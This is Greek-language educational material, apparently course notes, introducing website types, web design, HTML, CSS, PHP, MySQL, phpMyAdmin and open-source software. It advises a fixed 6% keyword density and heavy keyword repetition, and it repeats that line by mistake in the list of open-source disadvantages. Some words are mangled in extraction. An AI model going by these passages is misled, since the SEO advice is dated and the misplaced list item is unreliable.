Πανεπιστημίων, Ιδρυμάτων (φιλανθρωπικού σκοπού), Κυβερνητικές Ιστοσελίδες κ.ά. Σκοπός αυτής την κατηγορίας ιστοσελίδων είναι η ενημέρωση και η πληροφόρηση των επισκεπτών χωρίς οι κάτοχοι των ιστοσελίδων να επιδιώκουν ή να αποσκοπούν στο κέρδος. 2. Πύλες (Portals) Οι ιστοσελίδες που χαρακτηρίζονται ως «Πύλες» έχουν πάρα πολλές σελίδες (πολύ περιεχόμενο) σχετικά με ένα συγκεκριμένο αντικείμενο ή μια συγκεκριμένη υπηρεσία. Για παράδειγμα, σε αυτήν την κατηγορία ανήκουν οι ταξιδιωτικοί οδηγοί, Ιστοσελίδες που ασχολούνται με την επικαιρότητα, τη μουσική, τον αθλητισμό ή την τεχνολογία. 3. Προσωπικές Ιστοσελίδες Σε αυτή την κατηγορία Ιστοσελίδων ανήκουν οι Δικτυακοί Τόποι που έχουν αντικείμενο την παρουσίαση κάποιου προσώπου, συνήθως διάσημου. Πρόκειται για Ιστοσελίδες που προβάλλουν ηθοποιούς, καλλιτέχνες κλπ. Σκοπός αυτών των ιστοσελίδων είναι η ενημέρωση για τη ζωή και το έργο κάποιων ανθρώπων (ακόμα και για ιστορικά πρόσωπα), και η προώθησή τους στο κοινό.

4. Εμπορικές Ιστοσελίδες Οι Εμπορικές Ιστοσελίδες καλύπτουν το μεγαλύτερο μέρος του Διαδικτύου και είναι αυτές που έχουν καθαρά εμπορικό χαρακτήρα. Σκοπός τους είναι οι αγοροπωλησίες μέσω του Διαδικτύου και η προώθηση προϊόντων και υπηρεσιών κάποιας εταιρίας.

Σχεδιασμός Σελίδων Ιστού (Web Design) Ο σχεδιασμός στο Διαδίκτυο αφορά στην ικανότητα δημιουργίας παρουσιάσεων περιεχομένου (συνήθως κειμένου ή πολυμέσων) οι οποίες φτάνουν στον τελικό-χρήστη μέσω του Παγκόσμιου Ιστού, με τη χρήση λογισμικού όπως ένας φυλλομετρητής (web browser) ή άλλου λογισμικού σχεδιασμένου για το διαδίκτυο όπως η τηλεόραση μέσω διαδικτύου, κινητών τηλεφώνων κλπ. Η ιστοσελίδα είναι ένα ηλεκτρονικό αρχείο ή ένα σύνολο από ηλεκτρονικά αρχεία που υπάρχουν σε έναν ή και περισσότερους εξυπηρετητές (server/servers) και παρουσιάζει κείμενα και εφαρμογές πολυμέσων στον τελικό-χρήστη. Τέτοια στοιχεία όπως κείμενο, εικόνες (σύμφωνα με τα πρότυπα SVG, BMP, GIF, JPEG ή PNG) και φόρμες μπορούν να τοποθετηθούν στη σελίδα με τη χρήση γλωσσών σήμανσης υπερκειμένου όπως HTML/XHTML/XML. Η αναπαραγωγή πιο σύνθετων πολυμέσων (ανυσματικών γραφικών, βίντεο, ήχων, γραφικών με ενσωματωμένο ήχο και εικόνα) μπορεί να γίνει με πρόσθετα (plugins) όπως το Flash, το QuickTime, το περιβάλλον χρόνου εκτέλεσης Java, κ.ά. ή με τεχνολογίες όπως οι γλώσσες σήμανσης (X) HTML5, XML και MathML, και το πρότυπο φύλλων στυλ CSS 3. Οι καινούριες εκδόσεις των προγραμμάτων περιήγησης (Internet Explorer 7, 8, Firefox 3.6, safari, chromium κλπ) που ακολουθούν τα W3C πρότυπα οδήγησαν σε μια ευρεία αποδοχή και χρήση των XHTML/XML σε συνδυασμό με τα CSS (Cascading Style Sheets) για την τοποθέτηση και διαχείριση των στοιχείων και αντικειμένων της ιστοσελίδας. Τα τελευταία πρότυπα στοχεύουν στο να αποκτήσουν τα προγράμματα περιήγησης τη δυνατότητα να προσφέρουν μια ευρεία γκάμα επιλογής πολυμέσων και πρόσβασης στους πελάτες χωρίς τη χρήση των πρoσθέτων (plug-ins). Γενικότερα, οι ιστοσελίδες διαχωρίζονται σε στατικές και δυναμικές:

Οι στατικές δεν αλλάζουν περιεχόμενο και διάταξη (layout) με οποιοδήποτε αίτημα εκτός και αν ο προγραμματιστής αναβαθμίσει (update) τη σελίδα. Μια απλή HTML σελίδα είναι παράδειγμα στατικού περιεχομένου. Οι δυναμικές προσαρμόζουν το περιεχόμενο και/ή την εμφάνισή τους σύμφωνα με την καταχώρηση/αλληλεπίδραση ή τις αλλαγές του τελικού χρήστη στο περιβάλλον προγραμματισμού (χρήστης, ώρα, τροποποιήσεις στη βάση δεδομένων, κτλ). Το περιεχόμενο μπορεί να αλλάζει στον υπολογιστή του τελικού-χρήστη με τη χρήση των γλωσσών προγραμματισμού που εκτελούνται στον υπολογιστή του χρήστη (JavaScript, VBScript, Actionscript, etc.). Το περιεχόμενο στις δυναμικές σελίδες συχνά μεταφράζεται στον εξυπηρετητή (server) μέσω γλωσσών προγραμματισμού που εκτελούνται στον εξυπηρετητή (Perl, PHP, ASP, JSP, ColdFusion, .NET κτλ). Με τη συνεχόμενη ειδίκευση στην τεχνολογία της Πληροφορικής, δημιουργείται η ανάγκη διαχωρισμού του Σχεδιασμού Ιστοσελίδων από τον Προγραμματισμό Ιστοσελίδων. Για τη διαδικασία σχεδιασμού μιας ιστοσελίδας, μιας εφαρμογής ή ενός πολυμέσου για το διαδίκτυο μπορεί να συνδυάζονται πολλοί κλάδοι όπως animation, συγγραφή, επικοινωνιακός σχεδιασμός, εταιρική ταυτότητα, σχεδιασμός γραφικών, αλληλεπίδραση ανθρώπου-υπολογιστή,

αρχιτεκτονική

υπολογιστών,

σχεδιασμός

αλληλεπίδρασης,

marketing, φωτογραφία, βελτιστοποίηση μηχανών αναζήτησης και τυπογραφία. Τα εργαλεία και οι τεχνολογίες που χρησιμοποιούνται περιλαμβάνουν μεταξύ άλλων: ▪ Γλώσσες σήμανσης: HTML, XHTML, XML ▪ Γλώσσες φύλλων στυλ: CSS, XML ▪ Σενάρια στον πελάτη (Client-side scripting): JavaScript ▪ Σενάρια στον εξυπηρετητή (Server-side scripting): PHP, ASP, Perl, Ruby/Ruby on Rails ▪ Τεχνολογίες βάσεων δεδομένων: MySQL, PostgreSQL, Microsoft SQL Server ▪ Τεχνολογίες πολυμέσων: Flash, Silverlight Οι ιστοσελίδες μπορούν να είναι στατικές ή δυναμικές που αναπροσαρμόζουν αυτόματα το περιεχόμενό τους ή την εμφάνισή τους βασιζόμενες σε μια ποικιλία παραγόντων, όπως μια καταχώρηση από τον τελικό-χρήστη, μια καταχώρηση ή αλλαγή στο περιβάλλον προγραμματισμού από τον χειριστή της ιστοσελίδας (όπως εν παραδείγματι μια μορφοποίηση της βάσης δεδομένων). Εξαιτίας της συνεχούς εξειδίκευσης στους τομείς της επικοινωνιακής Πληροφορικής, δημιουργείται μια σαφής τάση διαχωρισμού του σχεδιασμού στο Διαδίκτυο από την

ανάπτυξη του διαδικτύου ως μέσου ροής της πληροφορίας και των αγαθών προς όλες τις διαδικτυακές υπηρεσίες.

Σχεδιάζοντας την πρώτη Ιστοσελίδα σας Ένα πολύ σημαντικό θέμα που αφορά όλους όσους σχεδιάζουν μια Ιστοσελίδα είναι το περιεχόμενό της, αλλά προπάντων και ζωτικής σημασίας είναι η δομή της. Ο σχεδιασμός του περιεχομένου είναι ένα κρίσιμο σημείο το οποίο πρέπει να προσεχτεί από την αρχή της δημιουργίας μιας Ιστοσελίδας, διότι η οποιαδήποτε απόφαση θα είναι καθοριστικής σημασίας. Η οποιαδήποτε διαφοροποίηση στο μέλλον θα πολλαπλασιάσει το κόστος, καθώς θα απαιτηθούν σημαντικά περισσότερες ανθρωποώρες. Σχεδιάζουμε μια σαφή ιεράρχηση του περιεχομένου Μια από τις βασικές αρχές του σωστού σχεδιασμού είναι ότι η ιεράρχηση δεν θα πρέπει να έχει μεγάλο βάθος. Αυτό κάνει την ιστοσελίδα σας πολύ πιο εύχρηστη και δίνει τη δυνατότητα στις μηχανές να την ανιχνεύσουν ταχύτερα και ευκολότερα. Δημιουργούμε έναν χάρτη της Ιστοσελίδας Η δημιουργία και ύπαρξη ενός χάρτη δίνει την δυνατότητα στους επισκέπτες της Ιστοσελίδας να περιηγηθούν ευκολότερα σε αυτήν και επιπλέον διευκολύνει τη σάρωσή της από τις μηχανές αναζήτησης. Χάρτης Ιστοσελίδας είναι μία λίστα με όλες τις σελίδες που υπάρχουν σε μία Ιστοσελίδα για να μπορεί ένας χρήστης να πλοηγηθεί πιο εύκολα σε αυτή. Προσδιορίζουμε τις κατάλληλες λέξεις κλειδιά (keywords) Επιλέγουμε από την αρχή τις κατάλληλες λέξεις-κλειδιά (keywords) με τις οποίες θέλουμε να εντοπίζεται η σελίδα μας από τις μηχανές αναζήτησης και τις οποίες θα πρέπει να χρησιμοποιούμε συχνά στο περιεχόμενό μας. Οι λέξεις-κλειδιά θα πρέπει να αποτελούν το 6 % των συνολικών λέξεων του περιεχομένου της ιστοσελίδας μας. Τελικός στόχος είναι η υψηλή κατάταξη του Ιστοχώρου και η αύξηση της επισκεψιμότητας της ιστοσελίδας. Ένα από τα σημαντικότερα στοιχεία που πρέπει να συμπεριλαμβάνεται στην ιστοσελίδα, ώστε να βοηθά στην καλύτερη κατάταξή της στις μηχανές αναζήτησης, είναι η συνάφεια (relevancy) μεταξύ του τίτλου, της περιγραφής, των λέξεων κλειδιών και του περιεχομένου της κάθε σελίδας. Η χρήση των λέξεων-κλειδιών είναι ζωτικής σημασίας για την επισήμανση ενός Ιστοτόπου από τις μηχανές αναζήτησης. Αν στον Ιστότοπο περιλαμβάνονται περισσότερες από μια σελίδες, οι λέξεις-κλειδιά πρέπει να εμφανίζονται σε όλες. Βασικός παράγοντας, επίσης, είναι οι λέξεις-κλειδιά να συμπεριλαμβάνονται όσο το δυνατό περισσότερες φορές στον κορμό του κυρίως κειμένου

της σελίδας (body text). Αυτό συμβαίνει επειδή οι περισσότερες μηχανές αναζήτησης τις "ψάχνουν" και στο κυρίως κείμενο. Αν δε συναντήσουν μια λέξη-κλειδί στο κυρίως κείμενο, απλά την αγνοούν. Δίνουμε έμφαση στο κείμενο Οι μηχανές αναζήτησης είναι ιδιαίτερα ευφυείς και μπορούν να διαβάσουν διάφορες μορφές από το κείμενο του περιεχομένου μας. Το κείμενο είναι αυτό που τελικά θα καταχωρήσουν. Μπορεί να έχουμε εκατοντάδες εντυπωσιακές φωτογραφίες ή flash animations, αλλά αν δεν έχουμε κείμενο για να περιγράψει τα παραπάνω, τότε δυστυχώς όλα θα θεωρούνται ανύπαρκτα. Ίσως στο μέλλον να ξεπεραστεί αυτή η αδυναμία και να υπάρχει τρόπος ανίχνευσης και ταυτόχρονης αξιολόγησής τους. Άρα, το μόνο χρήσιμο για την ώρα είναι το περιεχόμενο με κείμενο. Συνεπώς, θα πρέπει να δώσουμε μεγαλύτερη βαρύτητα σε πληροφοριακό περιεχόμενο που είναι κείμενο και λιγότερη σε ό,τι δεν είναι κείμενο. Θα πρέπει να προσέξουμε επίσης τις ετικέτες ALT tags των περιγραφών των φωτογραφιών αλλά και των συνδέσμων (links), οι οποίες ανιχνεύονται και διαβάζονται από τις μηχανές αναζήτησης, παρέχοντας σημαντικές πληροφορίες για τη φωτογραφία ή το σύνδεσμο (link). Ελέγχουμε την ορθότητα του περιεχομένου Κάνουμε έλεγχο και διασφαλίζουμε ότι δεν έχουμε σπασμένους συνδέσμους (broken links), συνδέσμους (links) δηλαδή που δεν οδηγούν πουθενά. Όταν υπάρχουν σπασμένοι σύνδεσμοι (broken links), σημαίνει ότι η ιστοσελίδα είναι σε εγκατάλειψη με αποτέλεσμα οι μηχανές αναζήτησης να την κατατάσσουν σε χαμηλότερη θέση σε σχέση με κάποιες που οι σύνδεσμοί τους λειτουργούν. Στη χειρότερη περίπτωση η Ιστοσελίδα σας δεν θα μπορεί καθόλου να ανιχνευτεί από τις μηχανές αναζήτησης.

Τι είναι η HTML; Η HTML ( HyperTextMarkupLanguage, Γλώσσα Σήμανσης Υπερκειμένου) είναι η κύρια γλώσσα σήμανσης για τις ιστοσελίδες, και τα στοιχεία της είναι τα βασικά δομικά στοιχεία των ιστοσελίδων. Η πρώτη δημόσια διαθέσιμη περιγραφή της HTML ήταν ένα έγγραφο με το όνομα Ετικέτες HTML, το οποίο πρωτοαναφέρθηκε στο Διαδίκτυο από τον ΜπέρνερςΑι στα τέλη του 1991. Περιέγραφε τα 20 στοιχεία τα οποίο αποτελούσαν τον αρχικό και σχετικά απλό σχεδίασμά της HTML.

Εκτός από την ετικέτα υπερσυνδέσμου, οι υπόλοιπες ήταν έντονα επηρεασμένες από την SGMLguid, μια μορφή δημιουργίας τεκμηρίωσης, φτιαγμένη στο CERN [Ευρωπαϊκός Οργανισμός Πυρηνικών Ερευνών) και βασισμένη στην SGML. Δεκατρία από εκείνα τα αρχικά στοιχεία υπάρχουν ακόμα σήμερα στην HTML 4. Η HTML γράφεται υπό μορφή στοιχείων HTML τα οποία αποτελούνται από ετικέτες, οι οποίες περικλείονται μέσα σε σύμβολα «μεγαλύτερο από» και «μικρότερο από» (για παράδειγμα <html>), μέσα στο περιεχόμενο της ιστοσελίδας. Οι ετικέτες HTML συνήθως λειτουργούν ανά ζεύγη (για παράδειγμα <hl> και </hl>), με την πρώτη να ονομάζεται ετικέτα έναρξης και τη δεύτερη ετικέτα λήξης (ή σε άλλες περιπτώσεις ετικέτα ανοίγματος και ετικέτα κλεισίματος αντίστοιχα). Ανάμεσα στις ετικέτες, οι σχεδιαστές ιστοσελίδων μπορούν να τοποθετήσουν κείμενο, πίνακες, εικόνες κλπ. Ο σκοπός ενός webbrowser είναι να διαβάζει τα έγγραφα HTML και τα συνθέτει σε σελίδες που μπορεί κανείς να διαβάσει ή να ακούσει. Ο browser δεν εμφανίζει τις ετικέτες HTML, αλλά τις χρησιμοποιεί για να ερμηνεύσει το περιεχόμενο της σελίδας. Τα στοιχεία της HTML χρησιμοποιούνται για να κτίσουν όλους του ιστότοπους. Η HTML επιτρέπει την ενσωμάτωση εικόνων και άλλων αντικειμένων μέσα στη σελίδα, και μπορεί να χρησιμοποιηθεί για να εμφανίσει διαδραστικές φόρμες. Παρέχει τις μεθόδους δημιουργίας δομημένων εγγράφων [δηλαδή εγγράφων που αποτελούνται από το περιεχόμενο που μεταφέρουν και από τον κώδικα μορφοποίησης του περιεχομένου) καθορίζοντας δομικά σημαντικά στοιχεία για το κείμενο, όπως κεφαλίδες, παραγράφους, λίστες, συνδέσμους, παραθέσεις και άλλα. Μπορούν επίσης να ενσωματώνονται σενάρια εντολών σε γλώσσες όπως η JavaScript, τα οποία επηρεάζουν τη συμπεριφορά των ιστοσελίδων HTML.

Τι είναι το CSS; 1. CSS σημαίνει CascadingStyleSheets και είναι ένα στυλ που μπορούμε να ορίσουμε για τις HTML σελίδες. 2. Γράφοντας τις σελίδες μας μόνο με HTML κώδικα, μπορούμε να ορίσουμε το χρώμα καί το μέγεθος του κειμένου αλλά και άλλων στοιχείων της σελίδας (όπως πίνακες, links, λίστες κτλ). Για να αλλάξουμε το χρώμα κάποιου κειμένου ή το χρώμα ενός πίνακα, θα πρέπει να βρούμε το χρώμα αυτό μέσα στον κώδικα και να το αλλάξουμε. Η διαδικασία

αυτή μπορεί να φαντάζει εύκολη όταν έχουμε να διαχειριστούμε μια μόνο σελίδα, αλλά ένα site αποτελείται από δεκάδες σελίδες τις οποίες χρειάζεται να διαχειριζόμαστε εύκολα και γρήγορα. 3. Με την χρήση CSS μπορούμε να ορίζουμε χρώματα και μεγέθη οργανωμένα σε στυλ και έπειτα να εφαρμόζουμε τα στυλ αυτά στα στοιχεία των σελίδων του site μας. Με αυτόν τον τρόπο, κάθε φορά που αλλάζουμε το χρώμα ενός στυλ, αλλάζει το χρώμα όλων των στοιχείων που έχουν αναφορά στο στυλ αυτό. Έτσι αν έχουμε ορίσει ένα στυλ για το κύριο μενού του site, τότε θα χρειάζεται να αλλάξουμε το χρώμα του στυλ αυτού και αυτόματα θα εφαρμοστείσε όλες τις σελίδες. 4. Εκτός από την ευκολία στην διαχείριση ενός site, ένα άλλο σημαντικό πλεονέκτημα της χρήσης CSS στις σελίδες είναι ο "καθαρότερος" κώδικας, χωρίς πολλές ιδιότητες στις ετικέτες οι οποίες τον κάνουν δυσανάγνωστο. Επιπλέον κάνει γρηγορότερη την πλοήγηση καθώς το αρχείο, μέσα στο οποίο ορίζονται τα στυλ, "διαβάζεται" από τον browser μόνο μια φορά και έπειτα αποθηκεύεται στην cachememory, μειώνοντας έτσι το μέγεθος της πληροφορίας που γίνεται download από τους browsers. 5. Πλεονεκτήματα css • Ταχύτερη αλλαγή στη σχεδίαση αφού όλα τα στοιχεία εμπεριέχονται στο αρχείο • Διαχωρισμός του αρχείου περιεχομένου από το αρχείο σχεδίασης • Πιο καθαρός κώδικας HTML στη σελίδα περιεχομένου • Λιγότερος χρόνος φόρτωσης της σελίδας • Ελαχιστοποίηση μεγέθους αρχείων • Ευκολότερη εύρεση από τις μηχανές αναζήτησης αφού ο κώδικας είναι καθαρότερος

Τι είναι η ΡΗΡ; 1. Η ΡΗΡ είναι μια γλώσσα προγραμματισμού για τη δημιουργία σελίδων web με δυναμικό περιεχόμενο. Μια σελίδα ΡΗΡ περνά από επεξεργασία από ένα συμβατό διακομιστή του Παγκόσμιου Ιστού (π.χ. Apache), ώστε να παραχθεί σε πραγματικό χρόνο το τελικό περιεχόμενο, που θα σταλεί στο πρόγραμμα περιήγησης των επισκεπτών σε μορφή κώδικα HTML. 2. Ένα αρχείο με κώδικα ΡΗΡ θα πρέπει να έχει την κατάλληλη επέκταση (π.χ. *.php, *.php4, *.phtml κ.ά.). Η ενσωμάτωση κώδικα σε ένα αρχείο επέκτασης .html δεν θα λειτουργήσει

και θα εμφανίσει στον browser τον κώδικα χωρίς καμία επεξεργασία, εκτός αν έχει γίνει η κατάλληλη ρύθμιση στα MIME types του server 3. Επίσης ακόμη κι όταν ένα αρχείο έχει την επέκταση .php, θα πρέπει ο server να είναι ρυθμισμένος για να επεξεργάζεται και να μεταγλωττίζει τον κώδικα ΡΗΡ σε HTML που καταλαβαίνει το πρόγραμμα πελάτη. 4. Ο διακομιστής Apache, που χρησιμοποιείται σήμερα ευρέως σε συστήματα με τα λειτουργικά συστήματα GNU/Linux, Microsoft Windows, Mac OS X υποστηρίζει εξ ορισμού την εκτέλεση κώδικα ΡΗΡ, είτε με την χρήση ενός πρόσθετου (mod_php) ή με την αποστολή του κώδικα προς εκτέλεση σε εξωτερική διεργασία CGI ή FCGI ή με την έλευση της

php5.4

υποστηρίζονται

η

εκτέλεση

σε

πολυάσχολους

ιστοχώρους,

FastCGIProcessManager (FPM). 5. Τα πλεονεκτήματα της γλώσσας ΡΗΡ Η ΡΗΡ συγκριτικά με αντίστοιχες τεχνολογίες όπως οι Perl, MicrosoftASP.NET, JavaServerPagesQSP), ColdFusion εμφανίζει κάποια σημαντικά πλεονεκτήματα: • Δυνατή αντικειμενοστραφή υποστήριξη • Χαμηλό κόστος • Ευκολία τόσο στη χρήση αλλά και στη μάθηση • Υψηλή απόδοση • Διασύνδεση με περισσότερα από ένα συστήματα βάσεων δεδομένων • Βιβλιοθήκες με τις πιο διαδεδομένες διαδικασίες στο web To phpMyAdmin είναι ένα εργαλείο δωρεάν και ανοικτού κώδικα γραμμένο σε ΡΗΡ που δημιουργήθηκε με σκοπό τη διαχείριση της βάσης δεδομένων MySQL μέσω ενός προγράμματος περιήγησης web. Μπορεί να εκτελέσει διάφορες εργασίες όπως δημιουργία, τροποποίηση ή διαγραφή βάσεων δεδομένων, πινάκων, πεδίων ή γραμμών, εκτέλεση SQL εντολών, ή να διαχειριστεί τους χρήστες και τα δικαιώματά τους. To phpMyAdmin αποτελεί ένα σύνολο phpscripts με το οποίο διαχειριζόμαστε τις βάσεις δεδομένων που έχουμε μέσω web. Μπορεί να διαχειριστεί ένα ολόκληρο mySQLServer ή ακόμα και απλές βάσεις δεδομένων όπου ο χρήστης έχει ένα λογαριασμό και μπορεί να δημιουργήσει και να διαχειριστεί τις δικές του βάσεις δεδομένων. Λόγω του γραφικού περιβάλλοντος του phpMyAdmin ol εργασίες διαχείρισης μίας ή και περισσοτέρων βάσεων στην MySQL γίνονται εύκολα, άμεσα και χωρίς να απαιτούνται εξειδικευμένες γνώσεις από πλευράς χρήστη.

Ειδικότερα ο χρήστης μπορεί να: • Δημιουργεί, τροποποιεί ή διαγράφει βάσεις δεδομένων • Προσθέτει, αφαιρεί ή τροποποιεί πεδία πινάκων • Εκτελεί ταυτόχρονα ένα ή και περισσότερα ερωτήματα SQL (SQLquery) • Διαχειρίζεται κλειδιά • Κάνει συντήρηση της βάσης δεδομένων • Φορτώνει υπάρχοντα αρχεία κειμένου σε πίνακες της βάσης • Εξάγει δεδομένα σε μορφές LATEX, CVS, XML • Εκτελεί αναζητήσεις σε πεδία, πίνακες ή σε ολόκληρη τη βάση • Διαχειρίζεται τους χρήστες καθώς και τα δικαιώματα τους MySQL Η MySQL είναι ένα σύστημα διαχείρισης σχεσιακών βάσεων δεδομένων που μετρά περισσότερες από 11 εκατομμύρια εγκαταστάσεις. Το πρόγραμμα τρέχει έναν εξυπηρετητή (server) παρέχοντας πρόσβαση πολλών χρηστών σε ένα σύνολο βάσεων δεδομένων. Ο κωδικός του εγχειρήματος είναι διαθέσιμος μέσω της GNU GeneralPublicLicense, καθώς και μέσω ορισμένων ιδιόκτητων συμφωνιών. Ανήκει και χρηματοδοτείται από μία και μοναδική κερδοσκοπική εταιρία, τη σουηδική MySQL ΑΒ, η οποία σήμερα ανήκει στην Oracle. Τις περισσότερες φορές ένας MySQLServer αποτελείται από πολλές διαφορετικές εγκατεστημένες βάσεις δεδομένων. Κάθε βάση έχει την δική της μοναδική ονομασία και αποτελείται από ένα σύνολο πινάκων. Οι πίνακες σε μια βάση δεδομένων αποτελούνται από γραμμές και στήλες ή αλλιώς εγγραφές και πεδία αντίστοιχα. Το μέγεθος αυτών κάθε φορά υπόκειται στις ανάγκες της καθ εκάστοτε βάσης, χωρίς να υπάρχει κάποιο όριο στον αριθμό τους Λογισμικό Ανοιχτού Κώδικα (OpenSource) 1. Στον χώρο της πληροφορικής και των ηλεκτρονικών υπολογιστών, με τον όρο λογισμικό ανοικτού κώδικα [OpenSourceSoftware, OSS) εννοείται λογισμικό του οποίου ο πηγαίος κώδικας διατίθεται με κάποιον τρόπο ελεύθερα σε όσους ζητούν να τον εξετάσουν, ακόμα και να τον τροποποιήσουν ή αξιοποιήσουν σε άλλες εφαρμογές. Κατά καιρούς έχουν εμφανιστεί αρκετές διαφορετικές άδειες χρήσης σχεδιασμένες να συνοδεύουν λογισμικό ανοικτού κώδικα.

2. Το λογισμικό ανοικτού κώδικα δεν σημαίνει απαραιτήτως δωρεάν λογισμικό, ούτε ελεύθερο λογισμικό σύμφωνα με τον ευρύ ορισμό που δίνει στο ελεύθερο λογισμικό το Ίδρυμα Ελεύθερου Λογισμικού, αλλά αναφέρεται μόνο στο γεγονός πως επιτρέπεται σε κάθε χρήστη να εξετάσει και να χρησιμοποιήσει τη γνώση και τις δυνατότητες που προσφέρει ο παρεχόμενος πηγαίος κώδικας. Στην πράξη, τα περισσότερα προγράμματα ανοιχτού κώδικα παρέχονται δωρεάν και μπορούν να χαρακτηριστούν ελεύθερα. 3. Σύμφωνα με την ισχύουσα νομοθεσία περί πνευματικής ιδιοκτησίας, η ελεύθερη αντιγραφή, διανομή και τροποποίηση του λογισμικού δεν επιτρέπεται. Για το λόγο αυτό, οι εκδόσεις ελεύθερου λογισμικού κάνουν χρήση ειδικής άδειας σύμφωνα με την οποία, παραχωρείται το δικαίωμα αντιγραφής, τροποποίησης και αναδιανομής του λογισμικού, στους χρήστες. 4. Σύμφωνα με το Ίδρυμα Ελεύθερου Λογισμικού, οι άδειες χρήσης ελεύθερου λογισμικού πρέπει να περιλαμβάνουν τις εξής ελευθερίες: • Ελευθερία 0: Ελευθερία χρήσης του προγράμματος για οποιονδήποτε σκοπό. • Ελευθερία 1: Ελευθερία μελέτης και τροποποίησης του προγράμματος. • Ελευθερία 2: Ελευθερία αντιγραφής του προγράμματος. • Ελευθερία 3: Ελευθερία βελτίωσης του προγράμματος και επανέκδοσης του, προς το συμφέρον της κοινότητας των χρηστών. 5. Οι ελευθερίες 1 και 3 προϋποθέτουν την πρόσβαση των χρηστών στον πηγαίο κώδικα του λογισμικού. Πλεονεκτήματα του Ελεύθερου Λογισμικού 1. Η λογική της ανάπτυξης του λογισμικού του ανοιχτού κώδικα είναι τέτοια η οποία δίνει τη δυνατότητα περαιτέρω έρευνας κι επεξεργασίας των προγραμμάτων. 2. Είναι δυνατή η παραμετροποίηση των προγραμμάτων αυτών, ώστε να προσαρμοστούν σε κάθε ανάγκη ιδιώτη ή οργανισμού. 3. Μπορεί να αποτελέσει σημαντικό εκπαιδευτικό εργαλείο ή εργαλείο για απόκτηση προγραμματιστικής εμπειρίας απ' αυτούς που αναπτύσσουν κώδικα. 4. Το κόστος των προγραμμάτων ανοιχτού κώδικα είναι τις περισσότερες φορές μηδενικό. 5. Τέλος, η χρήση ανοιχτού κώδικα δεν περιορίζει τον ιδιώτη ή οργανισμό σε μια σχέση εξάρτησης από εταιρίες. Μεινεκτήματα ανοικτού κώδικα

1. Η υποστήριξη των προγραμμάτων ανοιχτού κώδικα πολλές φορές είναι δύσκολη, καθώς δεν υπάρχει κάποια επίσημη εταιρία με καταρτισμένους τεχνικούς. 2. Οι λέξεις κλειδιά θα πρέπει να αποτελούν το 6% των λέξεων της ιστοσελίδας μας 3. Τα αντίστοιχα εμπορικά προγράμματα προσφέρουν κατά κύριο λόγο καλύτερη υποστήριξη, τεκμηρίωση και συνεργασία, ενώ οι δυνατότητές τους συχνά είναι υπέρτερες. 4. Αν ένα πρόγραμμα "εγκαταλειφθεί” απ' τους δημιουργούς του, ο οργανισμός μένει δίχως υποστήριξη και μελλοντικές προοπτικές.

Εργαλεία δημιουργίας ιστοσελίδας Η κατασκευή ιστοσελίδων (αγγλικά: Web development) είναι η διαδικασία δημιουργίας παρουσιάσεων περιεχομένου (συνήθως υπερκειμένου ή πολυμέσων), οι οποίες προβάλλονται στον τελικό χρήστη του Διαδικτύου μέσω ενός προγράμματος περιήγησης (browser) ή άλλων υπηρεσιών όπως διαδικτυακή τηλεόραση, ιστολόγια (blogs) και RSS Feeds. Περιεχόμενο Μπορούν να χρησιμοποιηθούν διάφορες τεχνικές προβολής του περιεχομένου μιας σελίδας, μεταξύ αυτών: κινούμενα σχέδια, γραφιστική, αλληλεπίδραση ανθρώπου-υπολογιστή, μάρκετινγκ, φωτογραφία, βελτιστοποίηση μηχανών αναζήτησης και τυπογραφία. Τεχνολογίες Τεχνολογίες που χρησιμοποιούνται στην ανάπτυξη ιστοσελίδων: •

γλώσσες σελίδας: HTML και XHTML

•

φύλλα στυλ CSS

•

γλώσσες περιγραφής δεδομένων: XML, JSON

•

γλώσσες προγραμματισμού σεναρίων: Perl, PHP, Python, Ruby

•

πλατφόρμες: ASP και ASP.NET της Microsoft, Java Enterprise της Sun, agile

•

frameworks όπως το Django και το Ruby on Rails

•

συγγραφή κώδικα στην πλευρά του πελάτη: Javascript

Ιστορικά Στοιχεία Ο Τιμ Μπέρνερς-Λι δημοσίευσε αυτό που σήμερα θεωρούμε ότι ήταν η πρώτη ιστοσελίδα των Αύγουστο του 1991. Ο Τιμ Μπέρνερς-Λι ήταν ο πρώτος που συνδύασε τη Διαδικτυακή

επικοινωνία (μέσω της οποίας μετέφερε την ηλεκτρονική αλληλογραφία και το Usenet επί δεκαετίες) με υπερκείμενο (Hypertext) (το οποίο επίσης υπήρχε για δεκαετίες με περιορισμένες δυνατότητες στην αναζήτηση πληροφοριών οι οποίες ήταν αποθηκευμένες σε έναν μόνο υπολογιστή). Οι ιστοσελίδες γράφονται σε γλώσσες σήμανσης κειμένου (markup languages) που ονομάζονται HTML. Οι προγενέστερες εκδόσεις της HTML ήταν περιορισμένων δυνατοτήτων, μόνο για να δίνουν στην ιστοσελίδα τη βασική της δομή (Επικεφαλίδες και παραγράφους), και τη δυνατότητα να χρησιμοποιούν υπερκείμενο. Αυτή ήταν μια νέα μορφή επικοινωνίας διαφορετική από τις ήδη υπάρχουσες-οι χρήστες μπορούν να οδηγηθούν σε άλλες σελίδες με συνεχόμενα συνδέσμων (hyperlinks).

Εκπαιδευτική Υποενότητα 5.2 Η γλώσσα HTML Στο κεφάλαιο αυτό θα παρουσιαστούν οι βασικές αρχές για τη σχεδίαση μιας ιστοσελίδας με τη χρήση της γλώσσας HTML. Η σχεδίαση θα ξεκινήσει με την παρουσίαση της διαδικασίας με την οποία μπορούμε να εμφανίσουμε απλό κείμενο σε έναν περιηγητή ιστοσελίδων. Στη συνέχεια θα παρουσιαστούν τρόποι με τους οποίους μπορεί να μορφοποιηθεί το κείμενο, τρόποι για τη βέλτιστη διάταξη των στοιχείων που περιλαμβάνει μια ιστοσελίδα αλλά επίσης και πως είναι δυνατή η εισαγωγή πολυμεσικών στοιχείων όπως εικόνες. Επιπλέον, θα παρουσιαστεί η διαδικασία με την οποία μπορούμε να δημιουργήσουμε φόρμες αποστολής δεδομένων με τη χρήση HTML και θα γίνει εισαγωγή σε βασικές έννοιες της HTML5 παρουσιάζοντας κάποιες βασικές οντότητές της. Τι είναι η HTML; HTML (HyperText Markup Language) ή Γλώσσα Σήμανσης Υπερκειμένου, αποτελεί την κύρια γλώσσα σήμανσης για τη δημιουργία ιστοσελίδων. Δεν αποτελεί γλώσσα προγραμματισμού αλλά γλώσσα αναπαράστασης κειμένου και εικόνων στον περιηγητή ιστοσελίδων.

Αρχικά, αναπτύχθηκε ως τρόπος περιγραφής και διαμοίρασης επιστημονικών κειμένων. Σήμερα, χρησιμοποιείται τόσο για τη σήμανση κειμένων διάφορων τύπων όσο και για τη δημιουργία διεπαφών

